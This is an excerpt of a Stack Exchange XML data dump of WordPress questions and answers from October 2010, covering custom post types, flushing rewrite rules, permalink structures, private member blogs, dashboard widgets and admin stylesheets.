  <row Id="3121" PostTypeId="1" CreationDate="2010-10-21T11:10:25.537" Score="1" ViewCount="185" Body="&lt;p&gt;Hello I would like to create a private WordPress blog for friend and family and I would also require to restrict certain content for only family which the level of friends can't view. It could be entire categories or just a few posts. Is there any plug in that offers such flexibility. I would also like to protect my RSS feed and not allow search engines to index my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I am using an external writer to create content. Its called ScreenSteps, this also allows me to upload content to my blog, all I did was to activate the XML-RPC option from the writing tab on the settings menu. Will this be affected if I make my blog private using a plugin ?&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="1338" LastEditorDisplayName="" LastEditDate="2010-10-21T12:58:09.430" LastActivityDate="2010-10-21T17:29:18.253" Title="How to create a completely private wordpress with multiple membership levels" Tags="&lt;3.0.1&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="3122" PostTypeId="1" AcceptedAnswerId="3124" CreationDate="2010-10-21T12:12:24.280" Score="1" ViewCount="672" Body="&lt;p&gt;This is a pretty strange problem. I'm creating a WordPress custom post type in my themes functions.php file using the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'product_register');&#xA;&#xA;function product_register() {&#xA;$args = array(&#xA;    'label' =&amp;gt; __('Products'),&#xA;    'singular_label' =&amp;gt; __('Product'),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'editor', 'thumbnail')&#xA;);&#xA;&#xA;register_post_type( 'product' , $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me the following url structure for my products: &lt;a href=&quot;http://www.mywebsite.com/products/product-name&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/products/product-name&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I switch to another theme (TwentyTen) and then switch back WordPress forgets the permalink, now when I browse to the URL above I get my 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The really strange thing I've noticed is that I can fix this issue by browsing to Settings -&gt; Permalinks in admin. This temporarily fixes the problem until the next theme uninstall/ reinstall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else had a similar issue?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-12-30T15:34:43.950" Title="WordPress custom post types breaks permalink on theme reinstall" Tags="&lt;3.0.1&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" />
  <row Id="3123" PostTypeId="1" AcceptedAnswerId="3135" CreationDate="2010-10-21T13:16:07.493" Score="0" ViewCount="104" Body="&lt;p&gt;My blog design heavily relies on categories and sub-categories. I would like the url structure to be dependent on that. How can I make the url's support the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to be like: &lt;code&gt;http://www.mywordpressblog.com/categoryname/subcategoryname/postname.html&lt;/code&gt; It should also support further sub-categories if any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I have any pages, It should follow the same structure just that it should be substituted by the page name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Further info:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am using Wordpress&#xA;  3.0.1 and hence am using the custom menu feature which allows me to&#xA;  combine my pages and categories into&#xA;  one awesome menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1338" LastActivityDate="2010-10-21T15:01:56.347" Title="Create a url structure for my blogs based on categories and sub-cats" Tags="&lt;3.0.1&gt;&lt;permalinks&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="3124" PostTypeId="2" ParentId="3122" CreationDate="2010-10-21T13:37:49.273" Score="1" ViewCount="" Body="&lt;p&gt;The new permalink structure is only saved when &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Rewrite::flush_rules()&lt;/code&gt;&lt;/a&gt; is called. Because this is an expensive operation (calculating the new rules and saving them to the database), you should not do it on every &lt;code&gt;init&lt;/code&gt; call, but only when you change the structure. The custom post type however must be registered at every &lt;code&gt;init&lt;/code&gt; call, since it is saved in a PHP array in memory, not in the database (which is why it forgot the custom post when you switched themes: the permalink structure still existed but referred to a custom post type that was not loaded, giving an error).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-21T13:37:49.273" CommentCount="5" />
  <row Id="3125" PostTypeId="1" CreationDate="2010-10-21T14:03:11.453" Score="0" ViewCount="222" Body="&lt;p&gt;Flushing rules is clearly an important part of creating themes with custom post types. See &lt;a href=&quot;http://wpengineer.com/2044/custom-post-type-and-permalink/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3122/wordpress-custom-post-types-breaks-permalink-on-theme-reinstall&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any example code of how to flush rules from functions.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little surprised this isn't covered in the custom post type pages of the Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I tried adding this to functions.php, but it didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_deactivation_hook( __FILE__, array(&amp;amp;$this,'deactivate' ) );&#xA;function deactivate() {&#xA; global $wp_rewrite;&#xA; $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2010-10-21T14:38:33.160" LastActivityDate="2010-10-22T12:52:51.347" Title="How does one flush rules on theme activation or deactivation only?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="3126" PostTypeId="1" AcceptedAnswerId="3129" CreationDate="2010-10-21T14:03:35.960" Score="0" ViewCount="52" Body="&lt;p&gt;Someone set me up with some custom work on top od another them and now I want to add a &quot;what's new&quot;/&quot;blog&quot;/&quot;latest news&quot; type page that is accessible from the main menu and is NOT the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?  It is not obvious to me how that is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2010-10-21T14:22:33.720" Title="How do I set up &quot;blog&quot; posts to a page other than the main/home page?" Tags="&lt;blog-page&gt;" AnswerCount="1" />
  <row Id="3127" PostTypeId="1" CreationDate="2010-10-21T14:06:15.203" Score="0" ViewCount="114" Body="&lt;p&gt;Anyone know if its possible to prevent &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD star rating&lt;/a&gt; from logging the IP address of a user's machine? I realise this is intended to stop people rating more than once but it prevents people from being able to rate if they are behind a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of thoughts which come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;override the method which does the logging in my theme's &lt;code&gt;functions.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;do something at the web-server level to mask the IP (potentially fatal probably)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="500" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:52:01.937" LastActivityDate="2011-03-24T12:52:01.937" Title="Override GD star rating IP based restrictions" Tags="&lt;plugin-gd-star-rating&gt;" AnswerCount="1" />
  <row Id="3128" PostTypeId="2" ParentId="3001" CreationDate="2010-10-21T14:20:44.983" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page() ) {&#xA;$cat = get_post_meta($posts[0]-&amp;gt;ID, 'cat', true);&#xA;}&#xA;if ($cat) {&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$post_per_page = 4; // -1 shows all posts&#xA;$do_not_show_stickies = 1; // 0 to show stickies&#xA;&#xA;$args=array(&#xA;'post_type' =&amp;gt; 'game',&#xA;'category__in' =&amp;gt; array($cat),&#xA;'orderby' =&amp;gt; 'date',&#xA;'order' =&amp;gt; 'DESC',&#xA;'paged' =&amp;gt; $paged,&#xA;'posts_per_page' =&amp;gt; $post_per_page,&#xA;);&#xA;$temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;$wp_query = null;&#xA;$wp_query = new WP_Query($args); &#xA;if( have_posts() ) : &#xA;while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA; &amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?    php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;      &amp;lt;?php the_content('Read the rest of this entry »'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Category in &amp;lt;?   php the_category(', ') ?&amp;gt; |&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; &#xA;&#xA;$wp_query = $temp;  //reset back to original query&#xA;&#xA;}  // if ($category)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="1301" LastEditorDisplayName="" LastEditDate="2010-10-21T14:45:17.327" LastActivityDate="2010-10-21T14:45:17.327" />
  <row Id="3129" PostTypeId="2" ParentId="3126" CreationDate="2010-10-21T14:22:33.720" Score="1" ViewCount="" Body="&lt;p&gt;In the admin area,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Settings » Reading&lt;/strong&gt;, Choose '&lt;strong&gt;A Static Page&lt;/strong&gt;' from the first set of options &amp;amp; select the two pages you would like to use as the front-page &amp;amp; blog/news page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&#xA;G&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-21T14:22:33.720" CommentCount="2" />
  <row Id="3130" PostTypeId="2" ParentId="3125" CreationDate="2010-10-21T14:42:21.623" Score="2" ViewCount="" Body="&lt;p&gt;this code (taken from &lt;a href=&quot;http://old.nabble.com/Activation-hook-exist-for-themes--td25211004.html&quot; rel=&quot;nofollow&quot;&gt;Ozh's comment here&lt;/a&gt; with small addition) may help you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reflush_rules() {&#xA;  if ( is_admin() &amp;amp;&amp;amp; isset($_GET['activated'] ) &amp;amp;&amp;amp; $pagenow == &quot;themes.php&quot; ) {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;  }&#xA;}&#xA;add_action('init', 'reflush_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this function on your &lt;code&gt;functions.php&lt;/code&gt;. This function will only loaded when theme activated (the only time &lt;code&gt;$_GET['activated']&lt;/code&gt; is set).&lt;/p&gt;&#xA;" OwnerUserId="1121" LastEditorUserId="1121" LastEditorDisplayName="" LastEditDate="2010-10-21T14:59:08.900" LastActivityDate="2010-10-21T14:59:08.900" CommentCount="2" />
  <row Id="3131" PostTypeId="1" AcceptedAnswerId="3551" CreationDate="2010-10-21T14:43:47.133" Score="0" ViewCount="187" Body="&lt;p&gt;According with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3001/wordpress-category-page-not-for-posts&quot;&gt;Wordpress: category page not for post's&lt;/a&gt;.&#xA;I use wordpress to create web sites for flash games, so I don't have certain page for post's. I add each game by post-new.php?post_type=game and u can see it's not the regular post for wordpress. Now I try make the same for tags, but stuck again. &#xA;what I  have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page() ) {&#xA;$tag = get_post_meta($posts[0]-&amp;gt;ID, 'tag', true);&#xA;}&#xA;if ($tag) {&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$post_per_page = 4; // -1 shows all posts&#xA;$do_not_show_stickies = 1; // 0 to show stickies&#xA;&#xA;$args=array(&#xA;'post_type' =&amp;gt; 'game',&#xA;'tag__in' =&amp;gt; array($tag),&#xA;'orderby' =&amp;gt; 'date',&#xA;'order' =&amp;gt; 'DESC',&#xA;'paged' =&amp;gt; $paged,&#xA;'posts_per_page' =&amp;gt; $post_per_page,&#xA;);&#xA;$temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;$wp_query = null;&#xA;$wp_query = new WP_Query($args); &#xA;if( have_posts() ) : &#xA;while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA; &amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?    php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;      &amp;lt;?php the_content('Read the rest of this entry »'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p class=&quot;postmetadata&quot;&amp;gt;&amp;lt;?php the_tags('Tags: ', ', ', '&amp;lt;br /&amp;gt;'); ?&amp;gt; Category in &amp;lt;?php the_category(', ') ?&amp;gt; |&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link('« Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;alignright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries »') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;&#xA;&amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endif; &#xA;&#xA; $wp_query = $temp;  //reset back to original query&#xA;&#xA;}  // if ($tag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basicly, I've just change '$cat' for '$tag' according with codex, but I have only page with search form from here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA; &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA; &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and don't nave any game for certain tags?&lt;/p&gt;&#xA;" OwnerUserId="1301" LastEditorUserId="1301" LastEditorDisplayName="" LastEditDate="2010-10-21T16:00:00.283" LastActivityDate="2010-11-02T11:50:32.700" Title="Tags page not for post" Tags="&lt;tags&gt;" AnswerCount="2" />
  <row Id="3132" PostTypeId="2" ParentId="1567" CreationDate="2010-10-21T14:52:25.890" Score="10" ViewCount="" Body="&lt;h2&gt;Customize the Dashboard&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets');&#xA;&#xA;function my_custom_dashboard_widgets() {&#xA;   global $wp_meta_boxes;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove these dashboard widgets...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_plugins']);&#xA;   unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_primary']);&#xA;   unset($wp_meta_boxes['dashboard']['side']['core']['dashboard_secondary']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a custom widget called 'Help and Support'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   wp_add_dashboard_widget('custom_help_widget', 'Help and Support', 'custom_dashboard_help');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the content for your custom widget&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function custom_dashboard_help() {&#xA;    echo '&amp;lt;p&amp;gt;Lorum ipsum delor sit amet et nunc&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-21T14:52:25.890" CommunityOwnedDate="2010-10-21T14:52:25.890" CommentCount="1" />
  <row Id="3133" PostTypeId="2" ParentId="3125" CreationDate="2010-10-21T14:54:24.323" Score="0" ViewCount="" Body="&lt;p&gt;What actually seem to work is adding this line after register_post_type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;flush_rewrite_rules( false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-21T14:54:24.323" CommentCount="2" />
  <row Id="3134" PostTypeId="2" ParentId="3125" CreationDate="2010-10-21T14:55:35.617" Score="1" ViewCount="" Body="&lt;p&gt;Not sure about flushing on deactivation, but activation is pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;functions.php&lt;/code&gt; file, set up some code like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function flush_rules_on_activation() {  &#xA;    global $wp_rewrite;&#xA;    $is_installed = get_option('theme_installed');&#xA;    if(!$is_installed) {&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;        add_option('theme_installed', true);&#xA;    }&#xA;}&#xA;add_action('init', 'flush_rules_on_activation');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will run every time, but the rules will only be flushed once because you set a flag in your options table to prevent flushing them every time.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-21T14:55:35.617" CommentCount="4" />
  <row Id="3135" PostTypeId="2" ParentId="3123" CreationDate="2010-10-21T15:01:56.347" Score="3" ViewCount="" Body="&lt;p&gt;With the following as a permalink structure;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%postname/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The category slug is added to the URL. Subcategories, if any, appear as nested directories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you end up with ;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/category/your-post-slug/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And if subcategories are used&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/category/subcategory/your-post-slug&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="706" LastActivityDate="2010-10-21T15:01:56.347" />
  <row Id="3136" PostTypeId="1" AcceptedAnswerId="3137" CreationDate="2010-10-21T15:02:40.907" Score="0" ViewCount="211" Body="&lt;p&gt;Trying to get my head round functions.php and am wondering how often it is loaded?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2010-10-21T15:17:58.853" Title="How often is functions.php loaded?" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="3137" PostTypeId="2" ParentId="3136" CreationDate="2010-10-21T15:17:58.853" Score="0" ViewCount="" Body="&lt;p&gt;Simple answer is once. As any other PHP file otherwise it would likely cause crash because of function redefinitions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More complex answer is there can be actually two different &lt;code&gt;functions.php&lt;/code&gt; loading - one for parent theme and one for child theme. Tricky part here is that child theme's loads before the parent's, which can at times be counter-intuitive for some purposes (like working with hooks).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-21T15:17:58.853" CommentCount="5" />
  <row Id="3138" PostTypeId="2" ParentId="3131" CreationDate="2010-10-21T15:20:49.080" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;category__in&lt;/code&gt; is a category parameters. use &lt;code&gt;tag__in&lt;/code&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;  'post_type' =&amp;gt; 'game',&#xA;  'tag__in' =&amp;gt; array($tag),&#xA;  'orderby' =&amp;gt; 'date',&#xA;  'order' =&amp;gt; 'DESC',&#xA;  'paged' =&amp;gt; $paged,&#xA;  'posts_per_page' =&amp;gt; $post_per_page,&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-21T15:20:49.080" CommentCount="1" />
  <row Id="3139" PostTypeId="1" AcceptedAnswerId="3647" CreationDate="2010-10-21T16:07:43.307" Score="2" ViewCount="192" Body="&lt;p&gt;I'm pulling my hair out over this. In the Links manager, you can enter a description for the category (in addition to the link itself). However, in wp_list_bookmarks, there is no way to call this value anywhere. So how can I get it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's in the term_taxonomy table, under link_category. So is there a function that could be written to retrieve this value dynamically (i.e. not having to declare each link category independently)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-11-04T18:36:20.350" Title="Link Category Description" Tags="&lt;links&gt;&lt;functions&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3140" PostTypeId="2" ParentId="129" CreationDate="2010-10-21T16:11:30.643" Score="3" ViewCount="" Body="&lt;p&gt;For WordPress version 3.0 and above, the admin-ssl plugin does not work. In order to get SSL to work, you need to take two steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the Administration Over SSL option in your wp-config.php file (&lt;a href=&quot;http://codex.wordpress.org/Administration_Over_SSL&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/wpssl/&quot; rel=&quot;nofollow&quot;&gt;WPSSL&lt;/a&gt; plugin on the site. (updated for WordPress 3.0+)&lt;/li&gt;&#xA;&lt;li&gt;On the pages you want to to run over SSL, add a meta tag called &quot;force_ssl&quot; and set the value to &quot;true&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should be all set after that.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2010-10-21T16:11:30.643" />
  <row Id="3141" PostTypeId="1" AcceptedAnswerId="3193" CreationDate="2010-10-21T16:31:06.187" Score="3" ViewCount="923" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;Is there a way to get post comments by post ID on a custom loop using WP-Query()?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi! I'm running a custom loop &lt;strong&gt;using WP_Query&lt;/strong&gt;, that only displays one post from a specific category on the &lt;strong&gt;home.php&lt;/strong&gt; page, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $pr_q = &quot;cat=11&amp;amp;posts_per_page=1&quot;; $pregunta_q = new WP_Query($pr_q); ?&amp;gt;&#xA;&amp;lt;?php while ($pregunta_q-&amp;gt;have_posts()) : $pregunta_q-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;!-- post stuff here --&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to have it show comments for that specific post? I tried including the comments template inside the loop and nothing. Is there a function that loads the comments for a specific post that I can use inside home.php or anywhere else?&lt;/p&gt;&#xA;" OwnerUserId="1344" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-23T21:21:33.917" LastActivityDate="2010-10-23T21:21:33.917" Title="Getting Post Comments for post ID using WP_Query() and a Custom Loop?" Tags="&lt;comments&gt;&lt;wp-query&gt;&lt;homepage&gt;&lt;customization&gt;&lt;loop&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3142" PostTypeId="2" ParentId="3121" CreationDate="2010-10-21T17:29:18.253" Score="1" ViewCount="" Body="&lt;p&gt;is there a plugin called &lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; created by Justin Tadlock which gives you tools to manage the roles of existing users and to create new roles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/17/members-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; has what I call &quot;components.&quot; Instead of normal plugin settings, you get the components selection page-That Allows you to choose only the features That You want to use.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="444" LastActivityDate="2010-10-21T17:29:18.253" />
  <row Id="3143" PostTypeId="1" AcceptedAnswerId="3154" CreationDate="2010-10-21T17:53:45.153" Score="0" ViewCount="560" Body="&lt;p&gt;I have this bit of code in my &lt;a href=&quot;http://wordpress.org/extend/plugins/meteor-slides/&quot; rel=&quot;nofollow&quot;&gt;Meteor Slides&lt;/a&gt; plugin that loads a stylesheet on the admin pages of just the slides custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action('admin_head', 'meteorslides_admin_css');&#xA;&#xA;function meteorslides_admin_css() {&#xA;&#xA;    global $post_type;&#xA;&#xA;    if (($_GET['post_type'] == 'slide') || ($post_type == 'slide')) :&#xA;&#xA;        echo &quot;&amp;lt;link type='text/css' rel='stylesheet' href='&quot; . plugins_url('/css/meteor-slides-admin.css', __FILE__) . &quot;' /&amp;gt;&quot;;&#xA;&#xA;    endif;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works fine and hasn't cause any issues, but in debug mode, it does cause this error that I'd like to resolve:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Notice: Undefined index: post_type in C:\Program Files\xampp\htdocs\slides\wp-content\plugins\meteor-slides-1.3\meteor-slides-plugin.php on line 476&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to fix this error, does anyone have any suggestions, or a different way to add a stylesheet to the admin pages of a certain post type?&lt;/p&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2010-11-08T14:00:22.920" Title="Adding CSS to custom post type admin page causes error" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;&lt;admin&gt;&lt;css&gt;" AnswerCount="2" FavoriteCount="1" />
